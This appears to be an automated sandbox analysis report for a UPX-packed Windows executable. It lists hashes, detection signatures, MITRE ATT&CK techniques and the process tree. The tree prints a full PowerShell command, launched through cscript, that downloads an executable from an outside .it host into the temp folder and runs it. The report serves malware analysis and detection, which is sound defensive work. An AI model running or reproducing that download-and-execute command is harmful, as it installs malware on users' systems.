4c28149eb004ae8ff0438218a7036a3d87ec6c7ca6d16a3d99710df0b15c8474

Analysis

max time kernel
120s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
22/03/2023, 09:38

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General

Target

68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77.exe
Size

170KB
MD5

4fe0319cbe2afb3507ec2b145257db2e
SHA1

b509f1331ccd1d8f127925e77632e039fdc44378
SHA256

68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77
SHA512

9c30b2930181751d25102923079539d4ffd78de6d98d20d88a0f6c46afa5ae124ffdb209c26112610a79d21e422e23bc574a0dea7c04e7d6f49531e2ad52198e
SSDEEP

3072:2DWeJkout0Uw0aWPtb9GTLRisQ4zi7sy2PRofurzOHeQoF2D15srKXNC0jm3lpfy:2fkoStaWTGv334H2iMzO+17EjypV+r

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	cscript.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2648-134-0x0000000000400000-0x000000000040F000-memory.dmp	upx
behavioral2/memory/2648-151-0x0000000000400000-0x000000000040F000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 3648	2648	68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77.exe	86
PID 2648 wrote to memory of 3648	2648	68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77.exe	86
PID 3648 wrote to memory of 1984	3648	cscript.exe	87
PID 3648 wrote to memory of 1984	3648	cscript.exe	87

C:\Users\Admin\AppData\Local\Temp\68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77.exe
"C:\Users\Admin\AppData\Local\Temp\68662866fbf031a7bea48b77ef8ab308c42c139badf61d33d251dce32d728a77.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\cscript.exe
  "C:\Windows\sysnative\cscript" //Nologo C:\Users\Admin\AppData\Local\Temp\1\8235.tmp.vbs
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $yyxvdvgwvccd = New-Object -ComObject Msxml2.XMLHTTP; $utwsjdse = New-Object -ComObject ADODB.Stream; $ewudjdgfgfcehw = $env:temp + '\SMSvcHost32.exe';$yyxvdvgwvccd.open('GET', 'http://dcc.fllimorettinilegnaegiardini.it/tes2t?32735', $false);$yyxvdvgwvccd.send(); if($yyxvdvgwvccd.Status -eq "200"){$utwsjdse.open();$utwsjdse.type = 1;$utwsjdse.write($yyxvdvgwvccd.responseBody);$utwsjdse.position = 0;$utwsjdse.savetofile($ewudjdgfgfcehw);$utwsjdse.close();} Start-Process $ewudjdgfgfcehw;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1\8235.tmp.vbs

Filesize
114KB

MD5
d1656f4c05e49fd0ea5267dc65368f54

SHA1
d4a3031985b8f0a27c959c8d6357a956ba31eb85

SHA256
689fe44cf421079d9e314956d3806acdbecfe886ec17704807ad7d2081a6305a

SHA512
ddadda5bcce2fb7519af0d0df0be62687142d6568284c78ddd4d1c2c2ffb4fddf15c4ebe426b6b476eaed375274743898b16ef53a08e7755b1b933aba187b7be

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymsekvk0.qao.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1984-136-0x000001FD72E80000-0x000001FD72EA2000-memory.dmp

Filesize
136KB

Download
memory/1984-146-0x000001FD59C50000-0x000001FD59C60000-memory.dmp

Filesize
64KB

Download
memory/1984-147-0x000001FD59C50000-0x000001FD59C60000-memory.dmp

Filesize
64KB

Download
memory/1984-148-0x000001FD59C50000-0x000001FD59C60000-memory.dmp

Filesize
64KB

Download
memory/2648-134-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2648-151-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download